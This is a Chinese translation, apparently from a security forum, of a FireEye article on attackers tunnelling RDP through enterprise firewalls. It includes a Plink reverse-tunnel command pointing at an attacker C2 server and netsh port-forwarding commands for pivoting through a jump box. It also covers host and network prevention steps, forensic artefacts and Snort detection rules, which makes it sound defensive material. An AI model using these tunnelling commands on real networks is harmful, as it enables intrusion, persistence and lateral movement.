通过RDP隧道绕过企业网络限制策略 + 对应的预防与检测手段
arr0w1 企业安全 11220浏览 · 2019-02-26 01:32

译者注

本文翻译自FireEye
https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html

译者力求贴近文章原意,特别注释:
threat actors 直译为"威胁行动者" 可理解为"攻击者"
non-graphical backdoors 非图形化的后门,如通过ssh触发的后门
compromised environments 被黑的环境,即被攻陷的环境 如网络、PC
non-exposed systems 直译为"非暴露系统",如内网系统、隔离网段中的系统
network tunneling 网络隧道,如RDP隧道、ssh隧道
host-based port forwarding 基于主机的端口转发
lateral movement / move laterally 横向移动
Jump Box 跳板机 可连接到两个网络,公共网络 和 敏感安全网络
segmented networks 隔离网络

前言

远程桌面服务(Remote Desktop Services)是Microsoft Windows系统的一个组件(component),它好的一面是,很多公司都使用该服务以便于:系统管理员(systems administrators)、工程师和远程办公的员工 这些角色的工作。
另一方面,远程桌面服务,特别是远程桌面协议(Remote Desktop Protocol,RDP)在目标系统被黑期间为远程威胁行动者提供了同样的便利性。当经验丰富的威胁行动者建立了立足点(foothold)并获得了足够的登录凭据(logon credentials)时,他们可能会从后门切换到使用直接RDP会话进行远程访问。当恶意软件(即foothold)删除后,入侵变得越来越难以检测。

RDP绕过防火墙规则

与非图形后门相比,威胁行动者更喜欢RDP的稳定性和功能性,但RDP的缺点是可能会在系统上留下不愿留下的痕迹,因此FireEye已经发现了“威胁行动者使用本机RDP程序在被控的环境中跨系统进行横向连接”的案例。
从历史上看,受防火墙和NAT规则保护的非暴露系统,通常被认为不容易受到入站RDP登录尝试的影响(译者注:因为防火墙入站规则严格,外部RDP请求无法直接连接到内网系统); 然而,威胁行动者越来越多地开始使用网络隧道、以及基于主机的端口转发,来突破这些企业级网络控制。

网络隧道和端口转发利用了防火墙的“pinholes”(针孔,即不受防火墙保护的一些端口),将目标网络中的某个服务暴露到了公网,最终实现了公网能够访问到受防火墙保护的网络中的主机上的服务,这样攻击者就能够在公网与远程服务器建立连接。
一旦威胁行动者能够绕过防火墙策略并建立了与远程服务器的连接,该连接就可以用作:
1."传输机制"(transport mechanism)
2.发送流量
3."tunnel"防火墙内的主机的本地监听状态的那些服务,使防火墙外的威胁行动者的远程服务器,可以访问内网中的那些服务

如图1所示

图1 用SSH隧道做网络隧道 传输RDP流量 绕过企业级防火墙

入站RDP隧道(Inbound RDP Tunneling)

PuTTY Link(即Plink)是个经常被用来"隧道"RDP会话的程序。

Plink可用于使用任意源端口、目标端口,来建立与其他系统的secure shell(SSH)网络连接。 由于许多IT环境要么没有执行协议检查,要么没有阻止从其网络出站的SSH通信,所以攻击者(如FIN8等)已使用Plink创建加密隧道,该隧道能够使被控系统上的RDP端口回连(主动外连)到攻击者的C2服务器,进行通信。

示例命令
plink.exe <users>@<IP或域名> -pw <password> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389

图2 使用Plink创建了一个RDP隧道 创建成功

-

图3 通信交互流量通过这个隧道被发送(这个隧道使用的是攻击者C2服务器上的端口转发)
communications being sent through the tunnel using port forwarding from the attacker C2 server.

应该注意的是,对于能够RDP连到某个系统的攻击者,他们一定已经有了访问这个系统的其他方式,这样才能创建并访问必要的隧道程序(tunneling utility)。
例如,攻击者控制了最开始的那个系统的方式,可能是通过鱼叉钓鱼邮件投递了payload,建立了进入企业网络环境的"立足点"(foothold),同时提取凭据以提权。
即"RDP隧道进入被黑环境"这一维持访问的方法,只是攻击者在目标环境中维持访问的许多方法之一。

跳板机作为跳板(Jump Box Pivoting)

RDP不仅是外部攻击者访问被黑系统的完美工具,RDP会话还可以跨多个系统进行链连接,以便在环境中横向移动(move laterally)。
FireEye已经发现了有威胁行动者通过使用本机Windows Network Shell (netsh)命令做RDP端口转发,以此作为一个访问途径以访问“新发现的”隔离网络(segmented networks),这个隔离网络仅能直接通过管理跳板机(administrative jump box)可达。

netsh端口转发命令:
netsh interface portproxy add v4tov4 listenport = 8001 listenaddress = <JUMP BOX IP> connectport = 3389 connectaddress = <DESTINATION IP>

精简的netsh端口转发命令:
netsh I p a v l=8001 listena=<JUMP BOX IP> connectp=3389 c=<DESTINATION IP>

例如,威胁行动者可以配置这个跳板机(jump box)以在任意端口上监听从之前已经黑掉的系统(图中Victim System)发出的流量。
然后A的流量将通过这个跳板机(jump box)直接转发到隔离网络中的任意系统的任意某个指定的端口,包括默认的RDP端口(TCP 3389).
所述的这种类型的RDP端口转发,为威胁行动者提供了一种利用跳板机(jump box)所允许的网络路由的方法,不会中断正在使用跳板机(jump box)进行的RDP会话的合法管理员。

图4 RDP横向移动:通过管理跳板机(administrative jump box)到隔离网络

RDP隧道的防御和检测(Prevention and Detection of RDP Tunneling)

攻击条件:如果启用了RDP,威胁行动者就可以用这种方式(通过隧道或端口转发)实现横向移动、权限维持。
防御措施:为了减轻漏洞并检测这些类型的RDP攻击,组织应该关注基于主机和基于网络的预防和检测机制。有关其他信息,请参阅FireEye博客文章,建立远程桌面协议的基准Establishing a Baseline for Remote Desktop Protocol | FireEye Inc

  • 基于主机的预防

    • 远程桌面服务(Remote Desktop Service): 在所有不需要使用RDP的终端用户的普通系统和工作站上禁用远程桌面服务
    • 基于主机的防火墙:启用基于主机的防火墙规则,明确拒绝入站RDP连接
    • 本地帐户:通过启用"Deny log on through Remote Desktop Services" ("拒绝通过远程桌面服务登录")安全设置,防止在工作站上使用本地帐户使用RDP。
  • 基于主机的检测

    • 注册表项
    • 查看与Plink连接关联的注册表项,这些连接可被RDP会话隧道滥用以识别唯一的源系统和目标系统。默认情况下,PuTTY和Plink都会在Windows系统上的以下注册表项中存储会话信息和以前连接的ssh服务器:
      • HKEY_CURRENT_USER\Software\SimonTatham\PuTTY
      • HKEY_CURRENT_USER\SoftWare\SimonTatham\PuTTY\SshHostKeys
    • 使用以下Windows注册表项存储 用netsh创建的PortProxy配置:
      • HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov
    • 收集和查看这些注册表项可以识别合法的SSH和异常的隧道活动。可能需要进一步审查以确认每一项的目的。
  • 事件日志

    • 查看高保真登录事件(logon events)的事件日志。通常RDP登录事件包含在Windows系统的以下事件日志中:

      • %systemroot%\Windows\System32\winevt\Logs\Microsoft-TerminalServices-LocalSessionmanager%3Operational.evtx
      • %systemroot%\Windows\System32\winevt\Logs\Security.evtx
    • TerminalServices-LocalSessionManager日志包含:

      • 1.已成功的交互式的本地或远程的登录事件(由EID 21标识)
      • 2.之前某个正确用户建立的(该用户已注销但RDP会话状态为未终止)的RDP会话的已成功的重新连接(由EID 25标识)
      • 3.Security日志包含成功的Type 10 远程交互式登录(RDP) (由EID 4624标识)
        • 源ip地址 记录为 localhost IP地址(127.0.0.1 - 127.255.255.255)的,可能表示一个隧道式的登录(从正在监听状态的本地主机端口 路由到 本地主机的RDP端口TCP 3389)
    • 检查plink.exe这个"文件执行"操作的相关内容。请注意,攻击者可以重命名文件名以避免检测。相关内容包括但不限于:
      • 1.应用程序兼容性缓存(Application Compatibility Cache/Shimcache)
      • 2.Amcache
      • 3.跳转列表 (Jump Lists)
      • 4.Prefetch
      • 5.服务事件(Service Events)
      • 6.来自WMI存储库的CCM最近使用的应用程序(CCM Recently Used Apps from the WMI repository)
      • 7.注册表项(Registry keys)
  • 基于网络的预防

    • 远程连接:在连接需要使用RDP的情况下,强制从指定的“跳板机”或“集中管理服务器”启动RDP连接。
    • 域帐户:对特权帐户(如 域管理员domain administrators)和服务帐户service accounts使用"Deny log on through Remote Desktop Services"(“拒绝通过远程桌面服务登录”)安全设置。因为这些类型的帐户通常被威胁行动者用于横向移动到网络环境中的敏感系统。
  • 基于网络的检测
    • 防火墙规则:查看现有防火墙规则以确定能被黑客用来做端口转发的网络区域。除了可能使用端口转发之外,还应对内网环境中工作站之间的通信进行监控。通常,工作站之间不需要直接相互通信(必要时可以使用防火墙规则来阻止任何此类型通信)
    • 网络流量:执行网络流量的内容检查。在某个端口上通信的所有流量并非都是看起来的样子。例如,威胁行动者可以使用TCP端口80或443与远程服务器建立RDP隧道,深入检查这些网络流量可能会发现它实际上并不是HTTP或HTTPS,而是完全不同的流量。因此,公司、组织应密切监控自己的网络流量。
    • Snort规则:出现隧道式RDP的主要指标是 在当RDP握手有一个指定的低的源端口(通常用于另一协议)。以下提供了两个示例的Snort规则,可以帮助安全团队识别网络流量中的RDP隧道(通过识别通常用于其他协议的指定低源端口)

示例 - 用于识别RDP隧道的Snort规则:

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; distance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)
alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled]"; flow:established; content:"|c0 00|Duca"; depth:250; content:"rdpdr"; content:"cliprdr"; sid:2; rev:1;)

总结

RDP使IT环境能够为用户提供了自由和交互操作能力。但随着越来越多的威胁行动者使用RDP横向移动,跨越到其他被限制访问的网段,安全团队正面临着破译并分辨出合法和恶意RDP流量的挑战。因此,应采取适当的基于主机和网络的预防和检测方法来主动监控以能够识别恶意RDP的使用情况。

1 条评论
某人
表情
可输入 255